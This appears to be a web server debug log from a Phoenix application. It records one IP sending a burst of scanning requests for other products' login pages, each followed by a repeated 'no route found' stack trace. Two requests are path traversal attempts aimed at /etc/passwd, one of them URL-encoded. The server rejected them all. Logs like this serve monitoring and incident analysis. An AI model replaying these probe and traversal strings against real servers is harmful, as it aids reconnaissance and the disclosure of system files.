[Thu Sep  3 08:11:35.917000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32906] ** (Phoenix.Router.NoRouteError) no route found for GET /ap (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:37.630000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:32914] GET /ssp//
[Thu Sep  3 08:11:37.655000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:32914] ** (Phoenix.Router.NoRouteError) no route found for GET /ssp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:47.181000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33518] GET /rcladmin/js/art_i18n/nls/art_i18n.js
[Thu Sep  3 08:11:47.204000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33518] ** (Phoenix.Router.NoRouteError) no route found for GET /rcladmin/js/art_i18n/nls/art_i18n.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:48.686000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33528] GET /rdweb/login/login.html
[Thu Sep  3 08:11:48.703000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33528] ** (Phoenix.Router.NoRouteError) no route found for GET /rdweb/login/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:56.833000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46020] GET /ibmmq/console/login.html
[Thu Sep  3 08:11:56.850000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46020] ** (Phoenix.Router.NoRouteError) no route found for GET /ibmmq/console/login.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:57.526000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46014] GET /jts/
[Thu Sep  3 08:11:57.551000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46014] ** (Phoenix.Router.NoRouteError) no route found for GET /jts (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:11:57.612000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46032] GET /ibmmq/console/nls/en/strings.json
[Thu Sep  3 08:11:57.637000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46032] ** (Phoenix.Router.NoRouteError) no route found for GET /ibmmq/console/nls/en/strings.json (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:05.168000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45378] GET /dp/login.xml
[Thu Sep  3 08:12:05.198000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45378] ** (Phoenix.Router.NoRouteError) no route found for GET /dp/login.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:05.606000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45394] GET /albatross/A3Suite
[Thu Sep  3 08:12:05.640000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45394] ** (Phoenix.Router.NoRouteError) no route found for GET /albatross/A3Suite (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:12.968000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45398] GET /shared/userlogin.php
[Thu Sep  3 08:12:12.993000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45398] ** (Phoenix.Router.NoRouteError) no route found for GET /shared/userlogin.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:13.644000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51664] GET /
[Thu Sep  3 08:12:13.644000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:51664] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:12:13.645000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51664] Sent 200 in 1ms
[Thu Sep  3 08:12:20.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51680] GET /trc
[Thu Sep  3 08:12:20.085000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51680] ** (Phoenix.Router.NoRouteError) no route found for GET /trc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:25.023000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34766] GET /aspera/faspex/login/new
[Thu Sep  3 08:12:25.058000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34766] ** (Phoenix.Router.NoRouteError) no route found for GET /aspera/faspex/login/new (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:33.625000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43858] GET /~nobody/etc/passwd
[Thu Sep  3 08:12:33.646000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43858] ** (Phoenix.Router.NoRouteError) no route found for GET /~nobody/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:36.747000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43866] GET /
[Thu Sep  3 08:12:36.748000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43866] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:12:36.748000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43866] Sent 200 in 1ms
[Thu Sep  3 08:12:43.069000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55450] HEAD /
[Thu Sep  3 08:12:43.070000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:55450] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:12:43.070000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55450] Sent 200 in 818µs
[Thu Sep  3 08:12:43.070000 2026] [Bandit.Logger:error] [pid 2816631] [client -] ** (Bandit.HTTPError) Request line HTTP error: "\n"
[Thu Sep  3 08:12:44.086000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55476] GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[Thu Sep  3 08:12:44.103000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:55476] ** (Phoenix.Router.NoRouteError) no route found for GET /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:12:52.933000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55490] GET //
[Thu Sep  3 08:12:52.933000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:55490] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:12:52.934000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:55490] Sent 200 in 906µs
[Thu Sep  3 08:13:04.348000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59452] GET /remotesupport/rest/productinfo
[Thu Sep  3 08:13:04.417000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59452] ** (Phoenix.Router.NoRouteError) no route found for GET /remotesupport/rest/productinfo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:13:05.949000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59458] GET /
[Thu Sep  3 08:13:05.949000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59458] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:13:05.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59458] Sent 200 in 2ms
